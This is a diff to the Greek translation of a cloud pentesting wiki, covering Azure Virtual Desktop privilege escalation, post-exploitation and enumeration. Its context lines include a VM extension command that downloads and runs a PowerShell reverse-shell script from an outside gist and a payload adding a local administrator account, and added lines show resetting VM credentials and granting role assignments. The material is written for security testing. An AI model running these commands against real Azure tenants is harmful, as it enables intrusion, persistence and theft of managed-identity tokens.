diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17ab8f63d..54f1ce76a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -454,7 +454,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -465,6 +465,7 @@ - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) - [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md) + - [Az - Virtual Desktop Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md) - [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md) - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md new file mode 100644 index 000000000..1cda70beb --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md @@ -0,0 +1,21 @@ +# Az - VMs & Network Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Virtual Desktop + +Για περισσότερες πληροφορίες σχετικά με το Virtual Desktop, ελέγξτε την παρακάτω σελίδα: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + +### Κοινές τεχνικές + +- Επικαλύψτε ένα **πακέτο MSIX από τον λογαριασμό αποθήκευσης** για να αποκτήσετε RCE σε οποιαδήποτε VM χρησιμοποιεί αυτή την εφαρμογή. +- Σε ένα remoteapp είναι δυνατό να αλλάξετε την **διαδρομή του δυαδικού αρχείου προς εκτέλεση**. +- **Δραπετεύστε από τις εφαρμογές** σε ένα shell για να αποκτήσετε RCE. +- Οποιαδήποτε επίθεση post exploitation & επιμονή από **Azure VMs.** +- Είναι δυνατό να **ρυθμίσετε ένα σενάριο να εκτελείται** σε pool για να εφαρμόσετε προσαρμοσμένες ρυθμίσεις. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md index fe483609d..5fcd9e425 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md @@ -4,14 +4,24 @@ ## Azure Virtual Desktop Privesc +Για περισσότερες πληροφορίες σχετικά με το Azure Virtual Desktop, ελέγξτε: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + + ### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action` -Μπορείτε να ανακτήσετε το token εγγραφής που χρησιμοποιείται για την εγγραφή εικονικών μηχανών μέσα σε μια ομάδα φιλοξενίας. +Μπορείτε να ανακτήσετε το token εγγραφής που χρησιμοποιείται για την εγγραφή εικονικών μηχανών εντός ενός host pool. ```bash az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1 ``` -### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write") +### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write -Με αυτές τις άδειες μπορείτε να προσθέσετε μια ανάθεση χρήστη στην ομάδα εφαρμογών, η οποία είναι απαραίτητη για την πρόσβαση στη εικονική μηχανή του εικονικού επιτραπέζιου υπολογιστή. +> [!WARNING] +> Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να κάνει πράγματα πολύ πιο επικίνδυνα από αυτό. + +Με αυτές τις άδειες μπορείτε να προσθέσετε μια ανάθεση χρήστη στην ομάδα Εφαρμογών, η οποία είναι απαραίτητη για την πρόσβαση στη εικονική μηχανή του εικονικού επιτραπέζιου υπολογιστή: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments/?api-version=2022-04-01" \ @@ -22,12 +32,6 @@ az rest --method PUT \ } }' ``` -Επιπλέον, μπορείτε να αλλάξετε τον χρήστη και τον κωδικό πρόσβασης της εικονικής μηχανής για να έχετε πρόσβαση σε αυτήν. -```bash -az vm user update \ ---resource-group \ ---name \ ---username \ ---password -``` +Σημειώστε ότι για να μπορέσει ένας χρήστης να έχει πρόσβαση σε μια Επιφάνεια Εργασίας ή μια εφαρμογή, χρειάζεται επίσης τον ρόλο `Virtual Machine User Login` ή `Virtual Machine Administrator Login` πάνω από το VM. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 02b79d13d..e8fc3b433 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -76,7 +76,7 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -Μπορείτε επίσης να εκτελέσετε άλλες payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +Μπορείτε επίσης να εκτελέσετε άλλα payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Επαναφορά κωδικού πρόσβασης χρησιμοποιώντας την επέκταση VMAccess ```bash @@ -87,7 +87,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na {{#endtab }} {{#endtabs }} -Είναι επίσης δυνατό να εκμεταλλευτείτε γνωστές επεκτάσεις για να εκτελέσετε κώδικα ή να εκτελέσετε προνομιακές ενέργειες μέσα στα VMs: +Είναι επίσης δυνατό να καταχραστεί κανείς γνωστές επεκτάσεις για να εκτελέσει κώδικα ή να εκτελέσει προνομιακές ενέργειες μέσα στα VMs:
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) -Αυτή είναι μια **VM extension** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για **να εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης: +Αυτή είναι μια **VM extension** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για να **εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -310,7 +310,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Όλες αυτές είναι οι απαραίτητες άδειες για να **δημιουργήσετε μια VM με μια συγκεκριμένη διαχειριζόμενη ταυτότητα** και να αφήσετε μια **θύρα ανοιχτή** (22 σε αυτή την περίπτωση). Αυτό επιτρέπει σε έναν χρήστη να δημιουργήσει μια VM και να συνδεθεί σε αυτήν και να **κλέψει τα διαπιστευτήρια διαχειριζόμενης ταυτότητας** για να κλιμακώσει τα προνόμια σε αυτήν. +Όλες αυτές είναι οι απαραίτητες άδειες για **δημιουργία μιας VM με μια συγκεκριμένη διαχειριζόμενη ταυτότητα** και άφημα ενός **ανοιχτού θύρας** (22 σε αυτή την περίπτωση). Αυτό επιτρέπει σε έναν χρήστη να δημιουργήσει μια VM και να συνδεθεί σε αυτήν και να **κλέψει τα διαπιστευτήρια διαχειριζόμενης ταυτότητας** για να κλιμακώσει τα προνόμια σε αυτήν. Ανάλογα με την κατάσταση, μπορεί να χρειαστούν περισσότερες ή λιγότερες άδειες για να καταχραστεί αυτή η τεχνική. ```bash @@ -343,14 +343,24 @@ az vm identity assign \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` -Τότε ο επιτιθέμενος πρέπει να έχει **συμβιβαστεί με κάποιον τρόπο η VM** για να κλέψει τα tokens από τις ανατεθειμένες διαχειριζόμενες ταυτότητες. Δείτε **περισσότερες πληροφορίες στο**: +Τότε ο επιτιθέμενος πρέπει να έχει **παραβιάσει με κάποιον τρόπο το VM** για να κλέψει τα tokens από τις ανατεθειμένες διαχειριζόμενες ταυτότητες. Δείτε **περισσότερες πληροφορίες στο**: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} +### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write" + +Αυτές οι άδειες επιτρέπουν την αλλαγή του χρήστη και του κωδικού πρόσβασης της εικονικής μηχανής για να αποκτηθεί πρόσβαση σε αυτήν: +```bash +az vm user update \ +--resource-group \ +--name \ +--username \ +--password +``` ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -Σύμφωνα με τα [**έγγραφα**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), αυτή η άδεια σας επιτρέπει να διαχειρίζεστε το OS του πόρου σας μέσω του Windows Admin Center ως διαχειριστής. Έτσι φαίνεται ότι αυτό δίνει πρόσβαση στο WAC για να ελέγχει τις VMs... +Σύμφωνα με τα [**έγγραφα**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), αυτή η άδεια σας επιτρέπει να διαχειρίζεστε το λειτουργικό σύστημα του πόρου σας μέσω του Windows Admin Center ως διαχειριστής. Έτσι φαίνεται ότι αυτό δίνει πρόσβαση στο WAC για τον έλεγχο των VMs... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md index 2e4d77be7..987b04ac4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md +++ b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md @@ -4,61 +4,102 @@ ## Azure Virtual Desktop -Το Virtual Desktop είναι μια **υπηρεσία εικονικοποίησης επιτραπέζιων υπολογιστών και εφαρμογών**. Επιτρέπει την παροχή πλήρων επιτραπέζιων υπολογιστών Windows, συμπεριλαμβανομένων των Windows 11, Windows 10 ή Windows Server στους χρήστες απομακρυσμένα, είτε ως μεμονωμένοι επιτραπέζιοι υπολογιστές είτε μέσω μεμονωμένων εφαρμογών. Υποστηρίζει ρυθμίσεις μεμονωμένης συνεδρίας για προσωπική χρήση και περιβάλλοντα πολλαπλών συνεδριών. Οι χρήστες μπορούν να συνδεθούν από σχεδόν οποιαδήποτε συσκευή χρησιμοποιώντας εγγενείς εφαρμογές ή ένα πρόγραμμα περιήγησης ιστού. +Το Virtual Desktop είναι μια **υπηρεσία εικονικοποίησης επιτραπέζιων υπολογιστών και εφαρμογών**. Επιτρέπει την παροχή πλήρων επιτραπέζιων υπολογιστών Windows, συμπεριλαμβανομένων των Windows 11, Windows 10 ή Windows Server σε χρήστες απομακρυσμένα, είτε ως μεμονωμένοι επιτραπέζιοι υπολογιστές είτε μέσω μεμονωμένων εφαρμογών. Υποστηρίζει ρυθμίσεις μεμονωμένης συνεδρίας για προσωπική χρήση και περιβάλλοντα πολλαπλών συνεδριών. Οι χρήστες μπορούν να συνδεθούν από σχεδόν οποιαδήποτε συσκευή χρησιμοποιώντας εγγενείς εφαρμογές ή ένα πρόγραμμα περιήγησης ιστού. ### Host Pools Οι host pools στο Azure Virtual Desktop είναι συλλογές εικονικών μηχανών Azure που έχουν ρυθμιστεί ως hosts συνεδρίας, παρέχοντας εικονικούς επιτραπέζιους υπολογιστές και εφαρμογές στους χρήστες. Υπάρχουν δύο κύριοι τύποι: -- **Προσωπικοί host pools**, όπου κάθε εικονική μηχανή είναι αφιερωμένη σε έναν μόνο χρήστη, με τα περιβάλλοντά της -- **Συγκεντρωμένοι host pools**, όπου πολλοί χρήστες μοιράζονται πόρους σε οποιονδήποτε διαθέσιμο host συνεδρίας. Έχει ρυθμιζόμενο όριο συνεδριών και μια ρύθμιση host συνεδρίας επιτρέπει στο Azure Virtual Desktop να αυτοματοποιεί τη δημιουργία hosts συνεδρίας με βάση μια ρύθμιση. -Κάθε host pool έχει ένα **token εγγραφής** που χρησιμοποιείται για την εγγραφή εικονικών μηχανών εντός ενός host pool. +- **Προσωπικοί host pools**, όπου κάθε εικονική μηχανή είναι αφιερωμένη σε έναν μόνο χρήστη. +- Μπορεί να ρυθμιστεί ώστε ο **διαχειριστής να αναθέτει** συγκεκριμένους χρήστες σε VMs ή να γίνεται αυτό **αυτόματα**. +- Αυτό είναι ιδανικό για άτομα με εντατικά φορτία εργασίας, καθώς κάθε άτομο θα έχει τη δική του VM. Επιπλέον, θα μπορούν να αποθηκεύουν αρχεία και να ρυθμίζουν ρυθμίσεις στο δίσκο OS και αυτές θα παραμένουν καθώς **κάθε χρήστης έχει τη δική του VM (host)**. -### Application groups & Workspace -Οι ομάδες εφαρμογών **ελέγχουν την πρόσβαση των χρηστών** είτε σε έναν πλήρη επιτραπέζιο υπολογιστή είτε σε συγκεκριμένα σύνολα εφαρμογών που είναι διαθέσιμες σε hosts συνεδρίας εντός ενός host pool. Υπάρχουν δύο τύποι: -- **Ομάδες εφαρμογών επιτραπέζιου υπολογιστή**, οι οποίες δίνουν στους χρήστες πρόσβαση σε έναν πλήρη επιτραπέζιο υπολογιστή Windows (διαθέσιμο με προσωπικούς και συγκεντρωμένους host pools) -- **Ομάδες RemoteApp**, οι οποίες επιτρέπουν στους χρήστες να έχουν πρόσβαση σε μεμονωμένες δημοσιευμένες εφαρμογές (διαθέσιμες μόνο με συγκεντρωμένους host pools). -Ένας host pool μπορεί να έχει μία ομάδα εφαρμογών επιτραπέζιου υπολογιστή αλλά πολλές ομάδες RemoteApp. Οι χρήστες μπορούν να ανατεθούν σε πολλές ομάδες εφαρμογών σε διαφορετικούς host pools. Εάν ένας χρήστης έχει ανατεθεί και σε ομάδες επιτραπέζιου υπολογιστή και RemoteApp εντός του ίδιου host pool, βλέπει μόνο τους πόρους από τον προτιμώμενο τύπο ομάδας που έχει ορίσει ο διαχειριστής. +- **Συγκεντρωμένοι host pools**, όπου πολλοί **χρήστες μοιράζονται πόρους** σε διαθέσιμους hosts συνεδρίας. +- Είναι δυνατή η ρύθμιση ενός **μέγιστου αριθμού χρηστών** (συνεδρίες) ανά host. +- Είναι δυνατή η **προσθήκη VMs χειροκίνητα** χρησιμοποιώντας κλειδιά εγγραφής ή **να επιτραπεί στο Azure να κλιμακώσει αυτόματα** τον αριθμό των hosts χωρίς να υπάρχει η επιλογή προσθήκης VMs χρησιμοποιώντας το κλειδί εγγραφής. Δεν είναι δυνατή η αυτόματη κλιμάκωση VMs για προσωπικούς pools. +- Για να παραμείνουν τα αρχεία στις συνεδρίες των χρηστών, είναι απαραίτητο να χρησιμοποιηθεί το **FSlogix**. -Ένα **workspace** είναι μια **συλλογή ομάδων εφαρμογών**, επιτρέποντας στους χρήστες να έχουν πρόσβαση στους επιτραπέζιους υπολογιστές και τις ομάδες εφαρμογών που τους έχουν ανατεθεί. Κάθε ομάδα εφαρμογών πρέπει να συνδέεται με ένα workspace και μπορεί να ανήκει μόνο σε ένα workspace τη φορά. +### Session Hosts -### Key Features -- **Flexible VM Creation**: Δημιουργία εικονικών μηχανών Azure απευθείας ή προσθήκη τοπικών εικονικών μηχανών Azure αργότερα. -- **Security Features**: Ενεργοποίηση Trusted Launch (secure boot, vTPM, monitoring ακεραιότητας) για προηγμένη ασφάλεια VM (απαιτείται εικονικό δίκτυο). Μπορεί να ενσωματωθεί το Azure Firewall και να ελέγξει την κυκλοφορία μέσω των Network Security Groups. -- **Domain Join**: Υποστήριξη για συνδέσεις τομέα Active Directory με προσαρμόσιμες ρυθμίσεις. -- **Diagnostics & Monitoring**: Ενεργοποίηση Διαγνωστικών Ρυθμίσεων για ροή καταγραφών και μετρήσεων σε Log Analytics, λογαριασμούς αποθήκευσης ή event hubs για παρακολούθηση. -- **Custom image templates**: Δημιουργία και διαχείριση τους για χρήση κατά την προσθήκη hosts συνεδρίας. Εύκολη προσθήκη κοινών προσαρμογών ή δικών σας προσαρμοσμένων σεναρίων. -- **Workspace Registration**: Εύκολη εγγραφή προεπιλεγμένων ομάδων εφαρμογών επιτραπέζιου υπολογιστή σε νέα ή υπάρχοντα workspaces για απλοποιημένη διαχείριση πρόσβασης χρηστών. +Αυτές είναι οι **VMs στις οποίες θα συνδεθούν οι χρήστες.** -### Enumeration +- Εάν επιλέχθηκε η αυτόματη κλιμάκωση, θα δημιουργηθεί ένα πρότυπο με τα **χαρακτηριστικά των hosts** που πρέπει να δημιουργηθούν για την πισίνα. +- Εάν όχι, κατά τη δημιουργία του Host pool είναι δυνατή η ένδειξη των **χαρακτηριστικών και του αριθμού των VMs** που θέλετε να δημιουργήσετε και το Azure θα τα δημιουργήσει και θα τα προσθέσει για εσάς. + +Τα κύρια χαρακτηριστικά για **τη ρύθμιση των VMs** είναι: + +- Το **πρόθεμα** του ονόματος των νέων VMs +- Ο **τύπος VM**: Αυτό μπορεί να είναι “Azure virtual machine” (για να χρησιμοποιήσετε Azure VMs) ή “Azure Local virtual machine” που επιτρέπει στους hosts να αναπτυχθούν τοπικά ή στην άκρη. +- Η τοποθεσία, οι ζώνες, οι επιλογές ασφάλειας VM, η εικόνα, η CPU, η μνήμη, το μέγεθος δίσκου… +- Το **VNet, η ομάδα ασφαλείας και οι θύρες** που θα εκτεθούν στο διαδίκτυο +- Είναι δυνατή η ρύθμιση διαπιστευτηρίων για αυτόματη **σύνδεση σε τομέα AD**, ή χρήση του καταλόγου Entra ID +- Εάν είναι Entra ID, είναι δυνατή η αυτόματη **εγγραφή της νέας VM στο Intune** +- Είναι απαραίτητο να ρυθμιστεί ένα **όνομα χρήστη και κωδικός διαχειριστή** εκτός εάν το Azure κλιμακώσει τους hosts, σε αυτή την περίπτωση πρέπει να ρυθμιστεί ένα **μυστικό με το όνομα χρήστη και ένα άλλο με τον κωδικό** +- Είναι δυνατή η **ρύθμιση ενός script που θα εκτελείται** για προσαρμοσμένη ρύθμιση + +### Application Groups + +Οι **ομάδες εφαρμογών** ελέγχουν την πρόσβαση των χρηστών είτε σε έναν πλήρη επιτραπέζιο υπολογιστή είτε σε συγκεκριμένα σύνολα εφαρμογών που είναι διαθέσιμες σε hosts συνεδρίας εντός μιας πισίνας. + +Υπάρχουν δύο τύποι ομάδων εφαρμογών: + +- **Ομάδες εφαρμογών επιτραπέζιων υπολογιστών**, οι οποίες δίνουν στους χρήστες πρόσβαση σε πλήρεις επιτραπέζιους υπολογιστές Windows και συνδεδεμένες εφαρμογές. +- **Ομάδες RemoteApp**, οι οποίες επιτρέπουν στους χρήστες να έχουν πρόσβαση σε μεμονωμένες εφαρμογές. +- Δεν είναι δυνατή η ανάθεση αυτού του τύπου ομάδας εφαρμογών σε Προσωπική Πισίνα. +- Είναι απαραίτητο να υποδειχθεί η διαδρομή προς το δυαδικό αρχείο που θα εκτελείται μέσα στη VM. + +Μια Συγκεντρωμένη Πισίνα μπορεί να έχει **μία ομάδα εφαρμογών επιτραπέζιων υπολογιστών** και **πολλές ομάδες RemoteApp** και οι χρήστες μπορούν να ανατεθούν σε πολλές ομάδες εφαρμογών σε διαφορετικές πισίνες hosts. + +Όταν ένας χρήστης **λαμβάνει πρόσβαση**, του δίνεται ο ρόλος **`Desktop Virtualization User`** πάνω από την ομάδα εφαρμογών. + +### Workspaces & Connections + +Ένα **workspace** είναι μια συλλογή ομάδων εφαρμογών. + +Για να **συνδεθεί** στον επιτραπέζιο υπολογιστή ή τις εφαρμογές που έχουν ανατεθεί, είναι δυνατή η σύνδεση από [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices) +Και υπάρχουν άλλες μέθοδοι που περιγράφονται στο [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client) + +Όταν ένας χρήστης αποκτά πρόσβαση στον λογαριασμό του, θα **παρουσιαστεί χωρισμένος κατά workspaces όλα όσα έχει πρόσβαση**. Επομένως, είναι απαραίτητο να προστεθεί **κάθε ομάδα εφαρμογών σε ένα workspace** ώστε οι καθορισμένες προσβάσεις να είναι ορατές. + +Για να μπορέσει ένας χρήστης να έχει πρόσβαση σε έναν επιτραπέζιο υπολογιστή ή μια εφαρμογή, χρειάζεται επίσης τον ρόλο **`Virtual Machine User Login`** ή **`Virtual Machine Administrator Login`** πάνω από τη VM. + +### Managed Identities + +Δεν είναι δυνατή η ανάθεση διαχειριζόμενων ταυτοτήτων σε host pools, επομένως οι δημιουργημένες VMs μέσα σε μια πισίνα θα τις έχουν. +Ωστόσο, είναι δυνατή η **ανάθεση συστημικών και χρηστών διαχειριζόμενων ταυτοτήτων στις VMs** και στη συνέχεια η πρόσβαση στους τόκους από τα μεταδεδομένα. Στην πραγματικότητα, μετά την εκκίνηση των host pools από το διαδίκτυο, οι 2 παραγόμενες VMs έχουν ενεργοποιημένη την συστημική διαχειριζόμενη ταυτότητα (αν και δεν έχουν καμία άδεια). ```bash az extension add --name desktopvirtualization -# List HostPool of a Resource group -az desktopvirtualization hostpool list --resource-group +# List HostPools +az desktopvirtualization hostpool list + +# List Workspaces +az desktopvirtualization workspace list # List Application Groups -az desktopvirtualization applicationgroup list --resource-group -# List Application Groups By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03" +az desktopvirtualization applicationgroup list + # List Applications in a Application Group az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03" + +# Check if Desktops are enabled +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" + # List Assigned Users to the Application Group az rest \ --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \ | jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions//resourcegroups//providers/microsoft.desktopvirtualization/applicationgroups/")' +# List hosts +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" -# List Workspace in a resource group -az desktopvirtualization workspace list --resource-group -# List Workspace in a subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03" - -# List App Attach Package By Resource Group +# List App Attach packages az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" -# List App Attach Package By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" + +# List user sessions +az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03" + # List Desktops az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" @@ -68,34 +109,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip # List private endpoint connections associated with hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03" + # List private endpoint connections associated By Workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03" # List the private link resources available for a hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03" + # List the private link resources available for this workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03" - -# List sessionHosts/virtual machines. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" - -# List start menu items in the given application group. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03" - -# List userSessions. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03" -# List userSessions By Host Pool -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03" - ``` -### Σύνδεση - -Για να συνδεθείτε στον εικονικό επιτραπέζιο υπολογιστή μέσω διαδικτύου, μπορείτε να αποκτήσετε πρόσβαση μέσω https://client.wvd.microsoft.com/arm/webclient/ (η πιο κοινή), ή https://client.wvd.microsoft.com/webclient/index.html (κλασική) Υπάρχουν άλλες μέθοδοι που περιγράφονται εδώ [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows) - ## Privesc {{#ref}} ../az-privilege-escalation/az-virtual-desktop-privesc.md {{#endref}} +## Post Exploitation & Persistence + +{{#ref}} +../az-post-exploitation/az-virtual-desktop-post-exploitation.md +{{#endref}} + + {{#include ../../../banners/hacktricks-training.md}}